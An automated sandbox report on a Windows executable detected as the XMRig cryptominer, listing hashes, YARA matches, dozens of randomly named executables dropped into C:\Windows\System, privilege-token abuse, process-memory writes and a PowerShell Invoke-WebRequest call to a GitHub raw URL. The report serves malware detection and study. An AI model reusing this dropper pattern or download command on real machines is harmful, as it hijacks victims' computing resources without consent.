xmrig | 58c474a663626806a04966c567ed9baad7a0d14a3b94df7498c4904bbe57345a

Analysis

max time kernel
149s
max time network
143s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
22/05/2024, 21:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
Size

1.5MB
MD5

42ecb8b294336fe21cacc7e436a9e990
SHA1

570b55e9d8500ea4c34cd1f81473aff63f59c388
SHA256

58c474a663626806a04966c567ed9baad7a0d14a3b94df7498c4904bbe57345a
SHA512

048d8eac20822143ebd74f85355b33c195082b3ece906403368bea001e74466cda8fcd8dff63905a125491c62f1f3161ce81385c51289749a68aff8c78eaa519
SSDEEP

24576:zv3/fTLF671TilQFG4P5PmK/lzapbU4w2DyA7lO1eANsT4kwu04a/6eGmsP:Lz071uv4BPm6lgVJUwAdZGvP

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 24 IoCs

miner

resource	yara_rule
behavioral1/memory/2668-19-0x000000013FDB0000-0x00000001401A2000-memory.dmp	xmrig
behavioral1/memory/2552-17-0x000000013FF00000-0x00000001402F2000-memory.dmp	xmrig
behavioral1/memory/2724-47-0x000000013F7C0000-0x000000013FBB2000-memory.dmp	xmrig
behavioral1/memory/1152-45-0x000000013FE00000-0x00000001401F2000-memory.dmp	xmrig
behavioral1/memory/2572-55-0x000000013FCE0000-0x00000001400D2000-memory.dmp	xmrig
behavioral1/memory/2788-50-0x000000013FC20000-0x0000000140012000-memory.dmp	xmrig
behavioral1/memory/2868-49-0x000000013FC20000-0x0000000140012000-memory.dmp	xmrig
behavioral1/memory/2868-124-0x000000013FA20000-0x000000013FE12000-memory.dmp	xmrig
behavioral1/memory/2868-123-0x0000000003690000-0x0000000003A82000-memory.dmp	xmrig
behavioral1/memory/2868-122-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	xmrig
behavioral1/memory/2868-121-0x000000013FDA0000-0x0000000140192000-memory.dmp	xmrig
behavioral1/memory/2668-120-0x000000013FDB0000-0x00000001401A2000-memory.dmp	xmrig
behavioral1/memory/2772-119-0x000000013FEF0000-0x00000001402E2000-memory.dmp	xmrig
behavioral1/memory/1456-118-0x000000013F1F0000-0x000000013F5E2000-memory.dmp	xmrig
behavioral1/memory/2552-4397-0x000000013FF00000-0x00000001402F2000-memory.dmp	xmrig
behavioral1/memory/1152-4398-0x000000013FE00000-0x00000001401F2000-memory.dmp	xmrig
behavioral1/memory/2788-4414-0x000000013FC20000-0x0000000140012000-memory.dmp	xmrig
behavioral1/memory/1456-4477-0x000000013F1F0000-0x000000013F5E2000-memory.dmp	xmrig
behavioral1/memory/2772-4484-0x000000013FEF0000-0x00000001402E2000-memory.dmp	xmrig
behavioral1/memory/2944-4394-0x000000013F3F0000-0x000000013F7E2000-memory.dmp	xmrig
behavioral1/memory/2668-4447-0x000000013FDB0000-0x00000001401A2000-memory.dmp	xmrig
behavioral1/memory/2572-4474-0x000000013FCE0000-0x00000001400D2000-memory.dmp	xmrig
behavioral1/memory/2376-4705-0x000000013FDD0000-0x00000001401C2000-memory.dmp	xmrig
behavioral1/memory/2724-4707-0x000000013F7C0000-0x000000013FBB2000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1652	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2552	BqgCjJE.exe
2668	RBqzDCc.exe
1152	cafIbqX.exe
2724	IjCdeUo.exe
2788	yWiuUdE.exe
2572	LkAiqmR.exe
2944	qRmZxww.exe
2376	gCxNHgi.exe
1456	ZAuDRXb.exe
2772	JxyQRUm.exe
2908	njpCfmN.exe
1048	PCUBTab.exe
1828	SMZKDlm.exe
2372	bpqynfQ.exe
2560	irchdaV.exe
2104	MHvtdVT.exe
2748	LXUEMdu.exe
320	HzxGjyH.exe
2000	OHiyKdP.exe
240	BeiSyfc.exe
2156	kcSzOCq.exe
336	qUYyktQ.exe
2188	WWmqiBF.exe
2388	ThMBZOq.exe
1728	GUnIXCG.exe
1028	NeHMZam.exe
1788	sEhlgQk.exe
632	uvgmYlf.exe
844	KjmSzEi.exe
2248	htzOprm.exe
2432	PlYyzHu.exe
1600	LtZlBXa.exe
1360	UcxsxqY.exe
1356	HyQmMHS.exe
940	olyGPKJ.exe
2096	GnQCiuP.exe
1856	htXQfyT.exe
1676	eAurNTD.exe
564	CzinlLL.exe
1252	AjRWrKi.exe
1404	GstYNnM.exe
1780	yexAmAk.exe
1752	QUSmOuU.exe
1708	bpOTkHC.exe
2164	zKKAxOu.exe
1520	zhUGAic.exe
1344	HccHAgn.exe
1544	mEZkHWM.exe
1736	usgnJtI.exe
1612	AKDrrxK.exe
1720	SsyyYxr.exe
2568	VTDGsTQ.exe
2664	vDrunNa.exe
2484	lqRJUHl.exe
2632	flrlzLA.exe
2980	vtffJlc.exe
2592	SLHXXBr.exe
2880	wsOJTxx.exe
2812	zWEszTx.exe
2172	eXHePPp.exe
2776	GlPqRxs.exe
296	uulFyJJ.exe
1976	JyiWhpq.exe
2260	kVTVOiC.exe

Loads dropped DLL 64 IoCs

pid	Process
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe

UPX packed file 56 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2868-2-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	upx
behavioral1/files/0x000d000000013413-3.dat	upx
behavioral1/files/0x0036000000013a3a-11.dat	upx
behavioral1/memory/2668-19-0x000000013FDB0000-0x00000001401A2000-memory.dmp	upx
behavioral1/memory/2552-17-0x000000013FF00000-0x00000001402F2000-memory.dmp	upx
behavioral1/files/0x000e000000013a84-27.dat	upx
behavioral1/files/0x000e0000000054ab-31.dat	upx
behavioral1/files/0x000800000001415f-35.dat	upx
behavioral1/files/0x0007000000014175-37.dat	upx
behavioral1/memory/2724-47-0x000000013F7C0000-0x000000013FBB2000-memory.dmp	upx
behavioral1/memory/1152-45-0x000000013FE00000-0x00000001401F2000-memory.dmp	upx
behavioral1/files/0x0007000000014186-56.dat	upx
behavioral1/memory/2572-55-0x000000013FCE0000-0x00000001400D2000-memory.dmp	upx
behavioral1/memory/2944-61-0x000000013F3F0000-0x000000013F7E2000-memory.dmp	upx
behavioral1/memory/2788-50-0x000000013FC20000-0x0000000140012000-memory.dmp	upx
behavioral1/files/0x0009000000014228-62.dat	upx
behavioral1/files/0x0036000000013a46-68.dat	upx
behavioral1/memory/2376-66-0x000000013FDD0000-0x00000001401C2000-memory.dmp	upx
behavioral1/files/0x0006000000014fa2-102.dat	upx
behavioral1/files/0x0006000000014bbc-96.dat	upx
behavioral1/files/0x0006000000014b18-89.dat	upx
behavioral1/files/0x000600000001564f-128.dat	upx
behavioral1/files/0x0006000000014826-132.dat	upx
behavioral1/files/0x0006000000014e71-137.dat	upx
behavioral1/files/0x0006000000015677-144.dat	upx
behavioral1/files/0x0006000000015c87-150.dat	upx
behavioral1/files/0x0006000000014a9a-85.dat	upx
behavioral1/files/0x000600000001487f-109.dat	upx
behavioral1/files/0x0006000000015cae-170.dat	upx
behavioral1/files/0x0006000000015ccd-177.dat	upx
behavioral1/files/0x0006000000015cd9-193.dat	upx
behavioral1/files/0x0006000000015cff-191.dat	upx
behavioral1/files/0x0006000000015d20-195.dat	upx
behavioral1/files/0x0006000000015cb6-176.dat	upx
behavioral1/files/0x0006000000015c9e-165.dat	upx
behavioral1/files/0x0006000000015684-163.dat	upx
behavioral1/files/0x000600000001565d-161.dat	upx
behavioral1/files/0x0006000000015ce3-187.dat	upx
behavioral1/files/0x000600000001535e-158.dat	upx
behavioral1/files/0x0008000000014246-125.dat	upx
behavioral1/memory/2868-122-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	upx
behavioral1/memory/2668-120-0x000000013FDB0000-0x00000001401A2000-memory.dmp	upx
behavioral1/memory/2772-119-0x000000013FEF0000-0x00000001402E2000-memory.dmp	upx
behavioral1/memory/1456-118-0x000000013F1F0000-0x000000013F5E2000-memory.dmp	upx
behavioral1/files/0x0006000000014b4c-92.dat	upx
behavioral1/files/0x000600000001471a-81.dat	upx
behavioral1/memory/2552-4397-0x000000013FF00000-0x00000001402F2000-memory.dmp	upx
behavioral1/memory/1152-4398-0x000000013FE00000-0x00000001401F2000-memory.dmp	upx
behavioral1/memory/2788-4414-0x000000013FC20000-0x0000000140012000-memory.dmp	upx
behavioral1/memory/1456-4477-0x000000013F1F0000-0x000000013F5E2000-memory.dmp	upx
behavioral1/memory/2772-4484-0x000000013FEF0000-0x00000001402E2000-memory.dmp	upx
behavioral1/memory/2944-4394-0x000000013F3F0000-0x000000013F7E2000-memory.dmp	upx
behavioral1/memory/2668-4447-0x000000013FDB0000-0x00000001401A2000-memory.dmp	upx
behavioral1/memory/2572-4474-0x000000013FCE0000-0x00000001400D2000-memory.dmp	upx
behavioral1/memory/2376-4705-0x000000013FDD0000-0x00000001401C2000-memory.dmp	upx
behavioral1/memory/2724-4707-0x000000013F7C0000-0x000000013FBB2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\MSjFgth.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\RpXKqyH.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\NUMxtwA.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\cqmqqtk.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\lJEUYbk.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\HKnXQwi.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\UYDWGKu.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\wEjhPzV.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\FHVMVyv.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\ruyQjQb.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\efikwDa.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\ADqaiYb.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\OMNUFLG.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\vEnaHoe.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\JbHNKrQ.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\SirgLkT.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\jOFfJFF.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\NbbuukT.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\BXIvLzq.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\gRWDUPA.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\zBOlpIj.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\yPEzwWL.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\NKoTrIH.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\ZwonWVf.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\qOfJhHd.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\AdUGGxe.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\JocDPsZ.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\nZcMAuY.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\ctGIlyM.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\XSGAxFa.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\yKWpHXI.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\AvnuprB.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\YSqYowK.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\QWWlnrQ.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\XMhumcB.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\RGqzVcf.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\MUXTqrx.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\aHVHjlJ.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\pLQGnPy.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\QizKpGn.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\GBOoMBR.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\DngulCf.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\igKPYYc.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\RXTwFzG.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\spITofj.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\SpcqhvM.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\jedGHgx.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\EuRbemf.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\GdgnLlL.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\zoTMdJp.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\Dvjsprl.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\wpSaYiv.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\tBmtXbD.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\fCHpsLd.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\gqZDZwb.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\bjCHNIb.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\MslbLce.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\EfQGHoy.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\RxmoUOQ.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\ZlMjWum.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\iTlCgco.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\gVToIMC.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\SfVwhgQ.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
File created	C:\Windows\System\RUMcRLP.exe	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1652	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
Token: SeDebugPrivilege	1652	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2868 wrote to memory of 1652	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	29
PID 2868 wrote to memory of 1652	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	29
PID 2868 wrote to memory of 1652	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	29
PID 2868 wrote to memory of 2552	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	30
PID 2868 wrote to memory of 2552	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	30
PID 2868 wrote to memory of 2552	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	30
PID 2868 wrote to memory of 2668	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	31
PID 2868 wrote to memory of 2668	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	31
PID 2868 wrote to memory of 2668	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	31
PID 2868 wrote to memory of 1152	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	32
PID 2868 wrote to memory of 1152	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	32
PID 2868 wrote to memory of 1152	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	32
PID 2868 wrote to memory of 2724	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	33
PID 2868 wrote to memory of 2724	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	33
PID 2868 wrote to memory of 2724	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	33
PID 2868 wrote to memory of 2788	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	34
PID 2868 wrote to memory of 2788	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	34
PID 2868 wrote to memory of 2788	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	34
PID 2868 wrote to memory of 2572	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	35
PID 2868 wrote to memory of 2572	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	35
PID 2868 wrote to memory of 2572	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	35
PID 2868 wrote to memory of 2944	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	36
PID 2868 wrote to memory of 2944	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	36
PID 2868 wrote to memory of 2944	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	36
PID 2868 wrote to memory of 2376	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	37
PID 2868 wrote to memory of 2376	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	37
PID 2868 wrote to memory of 2376	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	37
PID 2868 wrote to memory of 1456	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	38
PID 2868 wrote to memory of 1456	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	38
PID 2868 wrote to memory of 1456	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	38
PID 2868 wrote to memory of 2560	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	39
PID 2868 wrote to memory of 2560	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	39
PID 2868 wrote to memory of 2560	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	39
PID 2868 wrote to memory of 2772	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	40
PID 2868 wrote to memory of 2772	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	40
PID 2868 wrote to memory of 2772	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	40
PID 2868 wrote to memory of 2748	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	41
PID 2868 wrote to memory of 2748	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	41
PID 2868 wrote to memory of 2748	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	41
PID 2868 wrote to memory of 2908	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	42
PID 2868 wrote to memory of 2908	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	42
PID 2868 wrote to memory of 2908	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	42
PID 2868 wrote to memory of 320	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	43
PID 2868 wrote to memory of 320	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	43
PID 2868 wrote to memory of 320	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	43
PID 2868 wrote to memory of 1048	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	44
PID 2868 wrote to memory of 1048	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	44
PID 2868 wrote to memory of 1048	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	44
PID 2868 wrote to memory of 2000	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	45
PID 2868 wrote to memory of 2000	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	45
PID 2868 wrote to memory of 2000	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	45
PID 2868 wrote to memory of 1828	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	46
PID 2868 wrote to memory of 1828	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	46
PID 2868 wrote to memory of 1828	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	46
PID 2868 wrote to memory of 240	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	47
PID 2868 wrote to memory of 240	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	47
PID 2868 wrote to memory of 240	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	47
PID 2868 wrote to memory of 2372	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	48
PID 2868 wrote to memory of 2372	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	48
PID 2868 wrote to memory of 2372	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	48
PID 2868 wrote to memory of 2188	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	49
PID 2868 wrote to memory of 2188	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	49
PID 2868 wrote to memory of 2188	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	49
PID 2868 wrote to memory of 2104	2868	42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\42ecb8b294336fe21cacc7e436a9e990_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
